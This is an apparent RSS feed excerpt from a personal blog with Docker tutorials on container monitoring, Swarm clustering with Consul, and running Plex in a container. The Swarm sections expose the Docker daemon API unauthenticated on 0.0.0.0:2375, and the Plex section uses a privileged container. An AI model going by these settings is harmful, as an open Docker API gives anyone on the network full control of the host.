      <description>&lt;p&gt;I needed a way to monitor Docker resource usage and metrics (CPU, Memory, Network, Disk). I also wanted historical data, and ideally, pretty graphs that I could navigate and drill into.&lt;/p&gt;
&lt;p&gt;Whatever the solution was going to be, it had to be very open and customizable, easy to setup and scale for a production-like environment (stability, size), and ideally cheap/free. But most of all - it had to make sense and really be straight forward.&lt;/p&gt;
&lt;h2 id=&#34;3-containers-and-10-minutes-is-all-you-need&#34;&gt;3 Containers and 10 minutes is all you need&lt;/h2&gt;
&lt;p&gt;To get this:&lt;br&gt;
&lt;a href=&#34;https://media.vpetkov.net/wp-content/uploads/2016/08/docker_metrics01.png&#34;&gt;&lt;img alt=&#34;Grafana dashboard showing Docker CPU, memory, and network metrics&#34; height=&#34;678&#34; loading=&#34;lazy&#34; src=&#34;https://media.vpetkov.net/wp-content/uploads/2016/08/docker_metrics01.png&#34; width=&#34;1398&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://media.vpetkov.net/wp-content/uploads/2016/08/docker_metrics02.png&#34;&gt;&lt;img alt=&#34;Grafana Docker metrics dashboard thumbnail&#34; height=&#34;586&#34; loading=&#34;lazy&#34; src=&#34;https://media.vpetkov.net/wp-content/uploads/2016/08/docker_metrics02.png&#34; width=&#34;1421&#34;&gt;&lt;/a&gt;&lt;br&gt;
There are 3 components that are started via containers:&lt;/p&gt;
&lt;p&gt;Grafana (dashboard/visual metrics and analytics)&lt;br&gt;
InfluxDB (time-series DB)&lt;br&gt;
Telegraf (time-series collector) - 1 per Docker host&lt;/p&gt;
&lt;p&gt;The idea is that you first launch Grafana, and then launch InfluxDB. You configure Grafana (via the web) to point to InfluxDB&amp;rsquo;s IP, and then you setup a Telegraf container on each Docker host that you want to monitor. Telegraf collects all the metrics and feeds them into a central InfluxDB, and Grafana displays them.&lt;/p&gt;
&lt;h2 id=&#34;setup-tutorialexamples&#34;&gt;Setup Tutorial/Examples&lt;/h2&gt;</description>
      <content:encoded><![CDATA[<p>I needed a way to monitor Docker resource usage and metrics (CPU, Memory, Network, Disk). I also wanted historical data, and ideally, pretty graphs that I could navigate and drill into.</p>
<p>Whatever the solution was going to be, it had to be very open and customizable, easy to setup and scale for a production-like environment (stability, size), and ideally cheap/free. But most of all - it had to make sense and really be straight forward.</p>
<h2 id="3-containers-and-10-minutes-is-all-you-need">3 Containers and 10 minutes is all you need</h2>
<p>To get this:<br>
<a href="https://media.vpetkov.net/wp-content/uploads/2016/08/docker_metrics01.png"><img alt="Grafana dashboard showing Docker CPU, memory, and network metrics" height="678" loading="lazy" src="https://media.vpetkov.net/wp-content/uploads/2016/08/docker_metrics01.png" width="1398"></a></p>
<p><a href="https://media.vpetkov.net/wp-content/uploads/2016/08/docker_metrics02.png"><img alt="Grafana Docker metrics dashboard thumbnail" height="586" loading="lazy" src="https://media.vpetkov.net/wp-content/uploads/2016/08/docker_metrics02.png" width="1421"></a><br>
There are 3 components that are started via containers:</p>
<p>Grafana (dashboard/visual metrics and analytics)<br>
InfluxDB (time-series DB)<br>
Telegraf (time-series collector) - 1 per Docker host</p>
<p>The idea is that you first launch Grafana, and then launch InfluxDB. You configure Grafana (via the web) to point to InfluxDB&rsquo;s IP, and then you setup a Telegraf container on each Docker host that you want to monitor. Telegraf collects all the metrics and feeds them into a central InfluxDB, and Grafana displays them.</p>
<h2 id="setup-tutorialexamples">Setup Tutorial/Examples</h2>
<p>In our example, we have a bunch of servers running Docker:<br>
vm01, vm02, vm03 [VM IPs do not matter in this case]</p>
<p>A &ldquo;data&rdquo; folder (/data) on each vm for the data mounts.<br>
And we create an empty folder for each container: &ldquo;/data/grafana&rdquo;, &ldquo;/data/influxdb&rdquo;, &ldquo;/data/telegraf&rdquo;</p>
<p>A common network overlay or macvlan network (docker 1.12+) - we use the name &ldquo;someNetworkName&rdquo;</p>
<p>Static IPs (either via &ldquo;&ndash;ip&rdquo; directly, or something like pipework)</p>
<p>We will launch Grafana and InfluxDB on vm01, and a Telegraf container on vm01, vm02, and vm03.</p>
<p>Grafana (10.0.0.10)<br>
InfluxDB (10.0.0.20)<br>
Telegraf (10.0.0.101 on vm01, 10.0.0.102 on vm02, and 10.0.0.103 on vm03)</p>
<h2 id="grafana">Grafana</h2>
<p>Beautiful metric and analytics dashboard. Ideal for visualization and querying of time series data.</p>
<p>This is the first container you will launch on vm01:<br>
(note: you are mounting the dirs so that you can access/change the configs, and data that is generated. Dirs can be empty)</p>
<p>NOTE: For Grafana, using ALL defaults works. That means you can either specify the &ldquo;-v&rdquo; for the /etc/grafana, /var/lib/grafana, and /var/log/grafana - or skip it. It would make sense to specify the logs to have them, and it would make sense to specify the rest if you want to 1.) override something and/or 2.) add plugins. Otherwise, you are fine with defaults. I will provide the &ldquo;default&rdquo; config in the comments bellow.</p>
<pre tabindex="0"><code>docker run --restart=always -d --net=someNetworkName --ip=10.0.0.10 \
	--name grafana \
	--hostname grafana \
	-v /data/grafana/var/lib/grafana:/var/lib/grafana \
	-v /data/grafana/etc/grafana:/etc/grafana \
	-v /data/grafana/var/log/grafana:/var/log/grafana \
	-p 3000:3000 \
	-e &#34;GF_SERVER_ROOT_URL=http://10.0.0.10&#34;  \
	-e &#34;GF_SECURITY_ADMIN_PASSWORD=somepasswordhere&#34;  \
	grafana/grafana
</code></pre><h2 id="influxdb">InfluxDB</h2>
<p>Time-series data storage. A database designed for time-series data. Very easy to use, and feeds data into Grafana. It can accept data from many tools, specifically collectors like Telegraf.</p>
<p>First generate a config file:</p>
<pre tabindex="0"><code>docker run --rm influxdb influxd config &gt; /data/influxdb/influxdb.conf
</code></pre><p>Then run the container as your second container on vm01:</p>
<pre tabindex="0"><code>docker run --restart=always -d --net=someNetworkName --ip=10.0.0.20 \
	--name=influxdb \
	--hostname=influxdb \
	-p 8083:8083 -p 8086:8086 \
	-v /data/influxdb:/var/lib/influxdb \
	-v /data/influxdb/influxdb.conf:/etc/influxdb/influxdb.conf:ro \
	influxdb -config /etc/influxdb/influxdb.conf
</code></pre><h2 id="telegraf">Telegraf</h2>
<p>Time-series data collection. This uses a config to know what data to collect and where to feed it.</p>
<p>First generate a config file:</p>
<pre tabindex="0"><code>docker run --rm telegraf -sample-config &gt; /data/telegraf/telegraf.conf
</code></pre><p>Edit the config and just enable the Docker portion (uncomment the &ldquo;[[inputs.docker]]&rdquo; section until the timeout)</p>
<p>The only other config line you need is this:</p>
<pre tabindex="0"><code>[[outputs.influxdb]]
  #urls = [&#34;http://IP-or-NAME-of-INFLUXDB:8086&#34;] # required
  urls = [&#34;http://10.10.10.20:8086&#34;] # required
  database = &#34;telegraf&#34; # required
</code></pre><p>Then run the container as your third container on vm01 (and later on vm02, and vm03, with changes bellow code):</p>
<pre tabindex="0"><code>docker run -d --restart=always --net=admin01 --ip=10.0.0.101 \
	--add-host=&#34;influxdb:10.0.0.20&#34;\
	--name=stats-s01 \
	--hostname=vm01 \
	-e &#34;HOST_PROC=/rootfs/proc&#34; \
	-e &#34;HOST_SYS=/rootfs/sys&#34; \
	-e &#34;HOST_ETC=/rootfs/etc&#34; \
	-v /data/telegraf/telegraf.conf:/etc/telegraf/telegraf.conf:ro \
	-v /var/run/docker.sock:/var/run/docker.sock:ro \
	-v /sys:/rootfs/sys:ro -v /proc:/rootfs/proc:ro \
	-v /etc:/rootfs/etc:ro telegraf
</code></pre><p>NOTE: You will launch the almost the same thing on vm02 and vm03, but you would change the &ndash;hostname (vm02, and vm03) and &ndash;ip (10.0.0.102, and 10.0.0.103)</p>
<h2 id="last-step---connect-via-web-and-start-using">Last Step - Connect via Web and Start Using</h2>
<p>Log into http://10.0.0.10:3000 (admin, and password from docker &ldquo;GF_SECURITY_ADMIN_PASSWORD&rdquo;), and go to:<br>
1.) The top left Menu (icon of Spiral)<br>
2.) Data Sources<br>
3.) + Add data source<br>
4.) Fill out:<br>
a.) Name: InfluxDB<br>
b.) Type: InfluxDB<br>
c.) (HTTP Settings) Url: http://10.0.0.20:8086<br>
d.) (InfluxDB Settings) Database: telegraf<br>
5.) Click &ldquo;Save &amp; Test&rdquo; - it will save and work (ignore the &ldquo;Please fill out this field - this is for production environments - setting up DB users, and eventually SSL)</p>
<p>It should look like this:</p>
<p><a href="https://media.vpetkov.net/wp-content/uploads/2016/08/grafana_data_source.png"><img alt="Grafana data source configuration screen for InfluxDB" height="774" loading="lazy" src="https://media.vpetkov.net/wp-content/uploads/2016/08/grafana_data_source.png" width="490"></a></p>
<h2 id="thats-it-you-are-done">That&rsquo;s it! You are Done!</h2>
<p>Now you can go to the top left menu -&gt; Add a new Dashboard -&gt; Add a panel, and start adding Graph (or other) data.<br>
For Graph for example, under the Metrics tab, you can access all of the variables in a point and click method.</p>
<p>Here&rsquo;s a example to add a new graph on a new Row (after you create a Panel):<br>
<a href="https://media.vpetkov.net/wp-content/uploads/2016/08/add_graph.png"><img alt="Grafana panel menu showing the Add Graph option" height="289" loading="lazy" src="https://media.vpetkov.net/wp-content/uploads/2016/08/add_graph.png" width="281"></a></p>
<p>And here&rsquo;s an example of how you would modify the &ldquo;search&rdquo; by point and click:<br>
<a href="https://media.vpetkov.net/wp-content/uploads/2016/08/grafana_configure.png"><img alt="Grafana graph configuration with the metrics query builder" height="272" loading="lazy" src="https://media.vpetkov.net/wp-content/uploads/2016/08/grafana_configure.png" width="760"></a></p>
<h2 id="how-i-came-to-this-solution-skip-if-you-are-not-interested">How I came to this solution (skip if you are not interested)</h2>
<p>After some research, I realized just how bad of a state the currently available solutions and tutorials/example/documentation were. They were either too simple and not useful (CAdvisor), not fully implemented (Stats, Scout), extremely complicated in design and difficult to setup or lacking documentation (Sensu, Prometheus, etc.), or just expensive (DataDog, SysDigCloud).</p>
<p>And the tutorials on docker and metrics were basically non existent. Rancher&rsquo;s guide is the most &ldquo;current and complete&rdquo; doc on this as of today, in terms of what&rsquo;s available, and you can find it <a href="http://rancher.com/comparing-monitoring-options-for-docker-deployments/">HERE</a>.</p>]]></content:encoded>
    </item>
    <item>
      <title>Docker Swarm Tutorial with Consul (Service Discovery) and Examples</title>
      <link>https://vpetkov.net/2016/06/07/docker-swarm-tutorial-with-consul-service-discovery-and-examples/</link>
      <pubDate>Tue, 07 Jun 2016 18:59:43 +0000</pubDate>
      <guid>https://vpetkov.net/2016/06/07/docker-swarm-tutorial-with-consul-service-discovery-and-examples/</guid>
      <description>&lt;p&gt;If you have not used Swarm, skim the non-service-discovery tutorial to get a feel for how it works:&lt;br&gt;
&lt;a href=&#34;https://vpetkov.net/2015/12/07/docker-swarm-tutorial-and-examples&#34;&gt;vpetkov.net/2015/12/07/docker-swarm-tutorial-and-examples&lt;/a&gt;. It&amp;rsquo;s very easy, and it should give you an idea of how it works within a couple of minutes.&lt;/p&gt;
&lt;p&gt;Using Swarm with pre-generated static tokens is useful, but there are many benefits to using a service discovery backend. For example, you can utilize network overlays and have common &amp;ldquo;bridges&amp;rdquo; that span multiple hosts (&lt;a href=&#34;https://docs.docker.com/engine/userguide/networking/get-started-overlay/&#34;&gt;https://docs.docker.com/engine/userguide/networking/get-started-overlay/&lt;/a&gt;). It also provides service registration and discovery for the Docker containers launched into the Swarm. Now lets get into how to use it with service discovery - which is what you would use in a scaled out environment/production.&lt;/p&gt;
&lt;p&gt;Again, assuming you have a bunch of servers running docker:&lt;br&gt;
vm01 (10.0.0.101), vm02 (10.0.0.102), vm03 (10.0.0.103), vm04 (10.0.0.104)&lt;/p&gt;
&lt;p&gt;Normally, you can do &amp;ldquo;docker ps&amp;rdquo; on each host for example:&lt;br&gt;
ssh vm01 &amp;lsquo;docker ps&amp;rsquo;&lt;br&gt;
ssh vm04 &amp;lsquo;docker ps&amp;rsquo;&lt;/p&gt;
&lt;p&gt;If you enable the API for remote bind on each host you can manage them from a central place:&lt;br&gt;
docker -H tcp://vm01:2375 ps&lt;br&gt;
docker -H tcp://vm04:2375 ps&lt;br&gt;
(note: port is optional for default)&lt;/p&gt;
&lt;p&gt;But if you want to use all of these docker engines as a cluster, you need Swarm.&lt;br&gt;
Here we will go one step further and use a common service discovery backend (Consul).&lt;/p&gt;
&lt;h2 id=&#34;docker-swarm-tutorial-with-consul-and-how-toexamples&#34;&gt;Docker Swarm Tutorial with Consul and How-To/Examples&lt;/h2&gt;</description>
      <content:encoded><![CDATA[<p>If you have not used Swarm, skim the non-service-discovery tutorial to get a feel for how it works:<br>
<a href="/2015/12/07/docker-swarm-tutorial-and-examples">vpetkov.net/2015/12/07/docker-swarm-tutorial-and-examples</a>. It&rsquo;s very easy, and it should give you an idea of how it works within a couple of minutes.</p>
<p>Using Swarm with pre-generated static tokens is useful, but there are many benefits to using a service discovery backend. For example, you can utilize network overlays and have common &ldquo;bridges&rdquo; that span multiple hosts (<a href="https://docs.docker.com/engine/userguide/networking/get-started-overlay/">https://docs.docker.com/engine/userguide/networking/get-started-overlay/</a>). It also provides service registration and discovery for the Docker containers launched into the Swarm. Now lets get into how to use it with service discovery - which is what you would use in a scaled out environment/production.</p>
<p>Again, assuming you have a bunch of servers running docker:<br>
vm01 (10.0.0.101), vm02 (10.0.0.102), vm03 (10.0.0.103), vm04 (10.0.0.104)</p>
<p>Normally, you can do &ldquo;docker ps&rdquo; on each host for example:<br>
ssh vm01 &lsquo;docker ps&rsquo;<br>
ssh vm04 &lsquo;docker ps&rsquo;</p>
<p>If you enable the API for remote bind on each host you can manage them from a central place:<br>
docker -H tcp://vm01:2375 ps<br>
docker -H tcp://vm04:2375 ps<br>
(note: port is optional for default)</p>
<p>But if you want to use all of these docker engines as a cluster, you need Swarm.<br>
Here we will go one step further and use a common service discovery backend (Consul).</p>
<h2 id="docker-swarm-tutorial-with-consul-and-how-toexamples">Docker Swarm Tutorial with Consul and How-To/Examples</h2>
<p>A swarm contains only two components: agents (the workers in the cluster) and manager(s).<br>
We are also going to add consul (the service discovery backend).</p>
<p>First, grab the swarm and the consul images on each docker host:</p>
<pre tabindex="0"><code>docker pull swarm
docker pull progrium/consul
</code></pre><p>Then, make sure the API is enabled for remote bind on each host (NOTE: see bellow if using Systemd OS):</p>
<pre tabindex="0"><code># (on Ubuntu) cat /etc/default/docker:

DOCKER_OPTS=&#34;-H tcp://0.0.0.0:2375 \
--cluster-store=consul://consulServer:8500 \
--cluster-advertise=managerIp:2376 \
-H unix:///var/run/docker.sock --dns 8.8.8.8 --dns 8.8.4.4 ...&#34;

# And then restart:
/etc/init.d/docker restart

# -- OR --

# IF USING a Systemd OS -- Ubuntu 16.04/CentOS7 and up, use this instead:

# (on Ubuntu) cat /etc/systemd/system/docker.service

[Service]
ExecStart=/usr/bin/docker daemon -H tcp://0.0.0.0:2375 \
--cluster-store=consul://consulIp:8500 \
--cluster-advertise=managerIp:2376 \
-H unix:///var/run/docker.sock --dns 8.8.8.8 --dns 8.8.4.4

# And then reload/restart
systemctl daemon-reload
systemctl restart docker
</code></pre><p>Don&rsquo;t panic here! It looks complicated, but it&rsquo;s actually incredibly easy.</p>
<p>The <strong>consulIp</strong> in &ldquo;<em>&ndash;cluster-store=consul://consulIp:8500</em>&rdquo; is the docker host that will run the consul service (much like the swarm manager). Since you will map the port to the docker host itself, that&rsquo;s simply the IP of the docker host (in our case - vm01)</p>
<p>The <strong>managerIp</strong> in &ldquo;<em>&ndash;cluster-advertise=managerIp:2376</em>&rdquo; is the docker host that will run the swarm manager service. Since you will map the port to the docker host itself, that&rsquo;s simply the IP of the docker host (in our case - vm01).</p>
<p>To get everything started, go to whatever docker host you pick as the manager (in our case vm01), and create the consul server:<br>
<code>docker run -d -p &quot;8500:8500&quot; -h &quot;consul&quot; progrium/consul -server -bootstrap</code></p>
<p>Now, on *each* AGENT (including the manager if you want to use it as a worker) run:<br>
docker run -d swarm join &ndash;addr 107.170.73.43:2375 consul://consulIp/swarm:8500/swarm</p>
<pre tabindex="0"><code>docker run -d swarm join --advertise 10.0.0.101:2375 consul://10.0.0.101:8500/swarm
docker run -d swarm join --advertise 10.0.0.102:2375 consul://10.0.0.101:8500/swarm
docker run -d swarm join --advertise 10.0.0.103:2375 consul://10.0.0.101:8500/swarm
docker run -d swarm join --advertise 10.0.0.104:2375 consul://10.0.0.101:8500/swarm
</code></pre><p>You would do this for *each* agent and in our case vm01 is also an agent.</p>
<p>At last, you need to run a manager service on your chosen manager host (in our case, vm01) to manage the swarm:<br>
docker run -d -p 2376:2375 swarm manage consul://consulIp:8500/swarm<br>
<code>docker run -d -p 2376:2375 swarm manage consul://10.0.0.101:8500/swarm</code></p>
<p>The idea is that the manager wants to provide an API on port 2375. We are binding that to the local host on 2376. If your manager is NOT an agent, you can simply bind it on 2375 by doing a &ldquo;run -d -P swarm manage consul://&hellip;&rdquo;. In that case, you would NOT run the &ldquo;swarm join&rdquo; command on your manager. However, in our case we want all of the hosts to be agents, including the manager.</p>
<p>The last step is to query the cluster:<br>
docker -H tcp://managerIP:2376 info</p>
<p>In our case, we use vm01:</p>
<pre tabindex="0"><code>docker -H tcp://vm01:2376 info
or
docker -H tcp://vm01:2376 ps
</code></pre><p>Again, if your manager is NOT an agent, you would simply run:<br>
&ldquo;docker -H tcp://managerIP:2375 info&rdquo; or even &ldquo;docker -H tcp://managerip&rdquo;</p>
<p>Don&rsquo;t forget to start the manager on reboot, and each join on the agents on reboot.</p>]]></content:encoded>
    </item>
    <item>
      <title>Plex server on a VPS Docker setup without port forwarding</title>
      <link>https://vpetkov.net/2015/12/17/plex-server-on-a-vps-docker-setup-without-port-forwarding/</link>
      <pubDate>Thu, 17 Dec 2015 13:06:22 +0000</pubDate>
      <guid>https://vpetkov.net/2015/12/17/plex-server-on-a-vps-docker-setup-without-port-forwarding/</guid>
      <description>&lt;p&gt;&lt;strong&gt;[ updated 10-30-2016 | Upgraded Plex to plexmediaserver-1.1.4.2757-24ffd60.x86_64.rpm and CentOS ]&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Recently I tried setting up a Plex server in a docker container. The first problem was the 127.0.0.1:32400 bind which required logging in locally or port forwarding. After doing this once, I realized that you could use the Preferences.xml file, but that meant that you couldn&amp;rsquo;t truly automate this/deploy it elegantly in a docker container. And what if you wanted to run other servers - for friends? I finally figured out how to do this in the most elegant way possible.&lt;/p&gt;
&lt;h2 id=&#34;first---grab-your-unique-plex-access-token&#34;&gt;First - Grab your Unique Plex Access Token&lt;/h2&gt;
&lt;p&gt;Login at &lt;a href=&#34;https://app.plex.tv/web/app&#34;&gt;https://app.plex.tv/web/app&lt;/a&gt; with your username and password&lt;br&gt;
Open your javascript console (in Chrome: View -&amp;gt; Developer -&amp;gt; JavaScript Console)&lt;br&gt;
and type:&lt;br&gt;
&lt;code&gt;console.log(window.PLEXWEB.myPlexAccessToken);&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Note the token, which will look like this: &amp;ldquo;PZwoXix8vxhQJyrdqAbY&amp;rdquo;&lt;/p&gt;
&lt;p&gt;At this stage DO NOT click log out of your account until you register the new server. Otherwise your token will regenerate.&lt;br&gt;
Once you register the server, it won&amp;rsquo;t matter after that if the token changes.&lt;/p&gt;
&lt;h2 id=&#34;grab-my-docker-image&#34;&gt;Grab my Docker Image&lt;/h2&gt;
&lt;p&gt;Check out: &lt;a href=&#34;https://hub.docker.com/r/ventz/plex/&#34;&gt;https://hub.docker.com/r/ventz/plex/&lt;/a&gt;&lt;br&gt;
You can pull it down by doing:&lt;br&gt;
&lt;code&gt;docker pull ventz/plex&lt;/code&gt;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p><strong>[ updated 10-30-2016 | Upgraded Plex to plexmediaserver-1.1.4.2757-24ffd60.x86_64.rpm and CentOS ]</strong></p>
<p>Recently I tried setting up a Plex server in a docker container. The first problem was the 127.0.0.1:32400 bind which required logging in locally or port forwarding. After doing this once, I realized that you could use the Preferences.xml file, but that meant that you couldn&rsquo;t truly automate this/deploy it elegantly in a docker container. And what if you wanted to run other servers - for friends? I finally figured out how to do this in the most elegant way possible.</p>
<h2 id="first---grab-your-unique-plex-access-token">First - Grab your Unique Plex Access Token</h2>
<p>Login at <a href="https://app.plex.tv/web/app">https://app.plex.tv/web/app</a> with your username and password<br>
Open your javascript console (in Chrome: View -&gt; Developer -&gt; JavaScript Console)<br>
and type:<br>
<code>console.log(window.PLEXWEB.myPlexAccessToken);</code></p>
<p>Note the token, which will look like this: &ldquo;PZwoXix8vxhQJyrdqAbY&rdquo;</p>
<p>At this stage DO NOT click log out of your account until you register the new server. Otherwise your token will regenerate.<br>
Once you register the server, it won&rsquo;t matter after that if the token changes.</p>
<h2 id="grab-my-docker-image">Grab my Docker Image</h2>
<p>Check out: <a href="https://hub.docker.com/r/ventz/plex/">https://hub.docker.com/r/ventz/plex/</a><br>
You can pull it down by doing:<br>
<code>docker pull ventz/plex</code></p>
<h2 id="setup-a-data-directory">Setup a DATA directory</h2>
<p>Create a DATA directory (let&rsquo;s assume it&rsquo;s &ldquo;/plex&rdquo;) which contains:<br>
1.) a folder called &ldquo;Plug-ins&rdquo; -&gt; this has all your plugins from: <a href="https://github.com/plexinc-plugins">https://github.com/plexinc-plugins</a> or any other source.<br>
2.) a file called &ldquo;Preferences.xml&rdquo;</p>
<p>The &ldquo;Preferences.xml&rdquo; file should contain:</p>
<pre tabindex="0"><code>&lt;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&gt;
&lt;Preferences MachineIdentifier=&#34;12f0e861-5876-498e-bec6-111b030118aa&#34; ProcessedMachineIdentifier=&#34;f12a1d8fdc32ae0cf273ec699a3ddbd37a4a94e4&#34; AnonymousMachineIdentifier=&#34;ae674c91-42ff-4be5-88e9-f6b2a1751146&#34; MetricsEpoch=&#34;1&#34; GracenoteUser=&#34;WEcxA9TX1GEpdlIDlmmKmq70OVYLCgKZ+qh/lJkydwKH29UjfnDGWq/M8Okr//E88wSk9A7UXVxjlZgVpu1px7GVA2GEOAAAk8AJ4KOXodtdzLj+HPNhYZIl/lzMY8P32sF2rq9yb4RwhtOE/mKejkvw/2Ak5mm0VNQjt3ifNEXpyfuo+oH519qFQ5XAk+7Y3cwtEff2&#34; AcceptedEULA=&#34;1&#34; ManualPortMappingMode=&#34;1&#34; PublishServerOnPlexOnlineKey=&#34;1&#34; collectUsageData=&#34;0&#34; logDebug=&#34;0&#34; PlexOnlineToken=&#34;PZwoXix8vxhQJyrdqAbY&#34; CertificateVersion=&#34;2&#34;/&gt;
</code></pre><p><strong>note: Edit out &ldquo;PZwoXix8vxhQJyrdqAbY&rdquo; with the AccessToken for the account you want to use!</strong></p>
<p>This will end up being mounted over:<br>
1.) /var/lib/plexmediaserver/Library/Application Support/Plex Media Server/Plug-ins<br>
2.) /var/lib/plexmediaserver/Library/Application Support/Plex Media Server/Preferences.xml</p>
<h2 id="run-plex-in-a-docker-container-on-a-vps-without-backend-setupport-forwarding">Run Plex in a Docker Container on a VPS without backend setup/port forwarding</h2>
<pre tabindex="0"><code>docker run --name=plex -d --privileged=true -p 32400:32400 -v /plex:/p ventz/plex
</code></pre><p>This will mount your /plex/{Plug-ins, Preferences.xml} into /p on the container, and then the default CMD on the container is &ldquo;/start-plex.sh&rdquo; which will chmod them, move them into the right places, and then start the server.</p>
<p>At this point, go to the Docker HOSTS&rsquo; IP address (or the Public IP that NATs to the internal IP) at: &ldquo;http://dockerhostIP:32400/web&rdquo;, and log-in with your Plex account. You will now see a NEW server registered, and you will be able to browse the channels that you have pushed + watch content 🙂</p>
<h2 id="optional---how-to-build-your-own-docker-image">OPTIONAL - How to Build your own Docker image</h2>
<p>Let&rsquo;s say you don&rsquo;t trust some random image by some random person (me). No problem - here&rsquo;s how to build your own &ldquo;ventz/plex&rdquo; Docker image.</p>
<pre tabindex="0"><code>Create a /plex-container directory that has 3 files:
1.) Dockerfile
2.) The CentOS RPM (64bit - as of now, latest: plexmediaserver-0.9.12.19.1537-f38ac80.x86_64.rpm)
3.) start-plex.sh
</code></pre><p><strong>[ updated 10-30-2016 | Upgraded Plex to plexmediaserver-1.1.4.2757-24ffd60.x86_64.rpm and CentOS ]</strong></p>
<p>Make sure your Dockerfile has:</p>
<pre tabindex="0"><code>FROM centos:6.8

VOLUME [&#34;/p&#34;]

COPY start-plex.sh /
COPY plexmediaserver-1.1.4.2757-24ffd60.x86_64.rpm  /root
RUN rpm -i /root/plexmediaserver-1.1.4.2757-24ffd60.x86_64.rpm
RUN rm -f /root/plexmediaserver-1.1.4.2757-24ffd60.x86_64.rpm

EXPOSE 32400

# Run actual Plex server
CMD [&#34;/start-plex.sh&#34;]
</code></pre><p>and Finally, make sure your &ldquo;start-plex.sh&rdquo; has:</p>
<pre tabindex="0"><code>#!/bin/bash
# Needed to create Library and other dirs under &#34;/var/lib/plexmediaserver&#34;
/etc/init.d/plexmediaserver start
/etc/init.d/plexmediaserver stop

# Make sure permissions are correct.
chown -R plex:plex /p/*

# Move Files
cp -Rf /p/Plug-ins/* /var/lib/plexmediaserver/Library/Application\ Support/Plex\ Media\ Server/Plug-ins/.
cp -f /p/Preferences.xml /var/lib/plexmediaserver/Library/Application\ Support/Plex\ Media\ Server/.

# Start Real Plex server
su -s /bin/sh plex -c &#34;. /etc/sysconfig/PlexMediaServer; cd /usr/lib/plexmediaserver; ./Plex\ Media\ Server&#34;
</code></pre><p>Now, BUILD it:</p>
<pre tabindex="0"><code>docker build --rm=true --force-rm=true -t ventz/plex .
</code></pre><p>Enjoy! 🙂</p>]]></content:encoded>
    </item>
    <item>
      <title>Docker Swarm Tutorial and Examples</title>
      <link>https://vpetkov.net/2015/12/07/docker-swarm-tutorial-and-examples/</link>
      <pubDate>Mon, 07 Dec 2015 05:57:52 +0000</pubDate>
      <guid>https://vpetkov.net/2015/12/07/docker-swarm-tutorial-and-examples/</guid>
      <description>&lt;h2 id=&#34;a-bit-of-background-and-the-oldnormal-way&#34;&gt;A bit of background and the &amp;ldquo;old/normal way&amp;rdquo;&lt;/h2&gt;
&lt;p&gt;If you use Docker, you very quickly run into a common question: how do you make Docker work across multiple hosts, datacenters, and different clouds. One of the simplest solutions is Docker Swarm. Docker summarizes it best as &amp;ldquo;a native clustering for Docker&amp;hellip;[which] allows you create and access to a pool of Docker hosts using the full suite of Docker tools.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;One of the biggest benefits to using Docker Swarm is that it provides the standard Docker API, which means that all of the existing Docker management tools (and 3rd party products) just work out of the box as they do with a single host. The only difference is that they now scale transparently over multiple hosts.&lt;/p&gt;
&lt;p&gt;After reading up on it in the &lt;a href=&#34;https://docs.docker.com/swarm/&#34;&gt;Docker Swarm overview&lt;/a&gt; and the &lt;a href=&#34;https://docs.docker.com/swarm/install-w-machine/&#34;&gt;Swarm install guide&lt;/a&gt;, it was evident that this is a pretty simple service, but it wasn&amp;rsquo;t 100% clear what went where. After searching around the web, I realized that almost all of the tutorials and examples on Docker Swarm involved either docker-machine or very convoluted examples which did not explain what was happening on which component. With that said, here is a very simple Docker Swarm Tutorial with some practical examples.&lt;/p&gt;
&lt;p&gt;Assuming you have a bunch of servers running docker:&lt;br&gt;
vm01 (10.0.0.101), vm02 (10.0.0.102), vm03 (10.0.0.103), vm04 (10.0.0.104)&lt;/p&gt;</description>
      <content:encoded><![CDATA[<h2 id="a-bit-of-background-and-the-oldnormal-way">A bit of background and the &ldquo;old/normal way&rdquo;</h2>
<p>If you use Docker, you very quickly run into a common question: how do you make Docker work across multiple hosts, datacenters, and different clouds. One of the simplest solutions is Docker Swarm. Docker summarizes it best as &ldquo;a native clustering for Docker&hellip;[which] allows you create and access to a pool of Docker hosts using the full suite of Docker tools.&rdquo;</p>
<p>One of the biggest benefits to using Docker Swarm is that it provides the standard Docker API, which means that all of the existing Docker management tools (and 3rd party products) just work out of the box as they do with a single host. The only difference is that they now scale transparently over multiple hosts.</p>
<p>After reading up on it in the <a href="https://docs.docker.com/swarm/">Docker Swarm overview</a> and the <a href="https://docs.docker.com/swarm/install-w-machine/">Swarm install guide</a>, it was evident that this is a pretty simple service, but it wasn&rsquo;t 100% clear what went where. After searching around the web, I realized that almost all of the tutorials and examples on Docker Swarm involved either docker-machine or very convoluted examples which did not explain what was happening on which component. With that said, here is a very simple Docker Swarm Tutorial with some practical examples.</p>
<p>Assuming you have a bunch of servers running docker:<br>
vm01 (10.0.0.101), vm02 (10.0.0.102), vm03 (10.0.0.103), vm04 (10.0.0.104)</p>
<p>Normally, you can do &ldquo;docker ps&rdquo; on each host for example:<br>
ssh vm01 &lsquo;docker ps&rsquo;<br>
ssh vm04 &lsquo;docker ps&rsquo;</p>
<p>If you enable the API for remote bind on each host you can manage them from a central place:<br>
docker -H tcp://vm01:2375 ps<br>
docker -H tcp://vm04:2375 ps<br>
(note: port is optional for default)</p>
<p>But if you want to use all of these docker engines as a cluster, you need Swarm.</p>
<h2 id="docker-swarm-tutorial-and-how-toexamples">Docker Swarm Tutorial and How-To/Examples</h2>
<p>A swarm contains only two components: agents (the workers in the cluster) and manager(s).</p>
<p>First, grab the swarm image on each docker host:<br>
<code>docker pull swarm</code></p>
<p>Then, make sure the API is enabled for remote bind on each host (NOTE: see bellow if using Systemd OS):</p>
<pre tabindex="0"><code># (on Ubuntu) cat /etc/default/docker:

DOCKER_OPTS=&#34;-H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock ...&#34;

# And then restart:
/etc/init.d/docker restart

# -- OR --

# IF USING a Systemd OS -- Ubuntu 16.04/CentOS7 and up, use this instead:

# (on Ubuntu) cat /etc/systemd/system/docker.service

[Service]
ExecStart=/usr/bin/docker daemon -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock --dns 8.8.8.8 --dns 8.8.4.4

# And then reload/restart
systemctl daemon-reload
systemctl restart docker
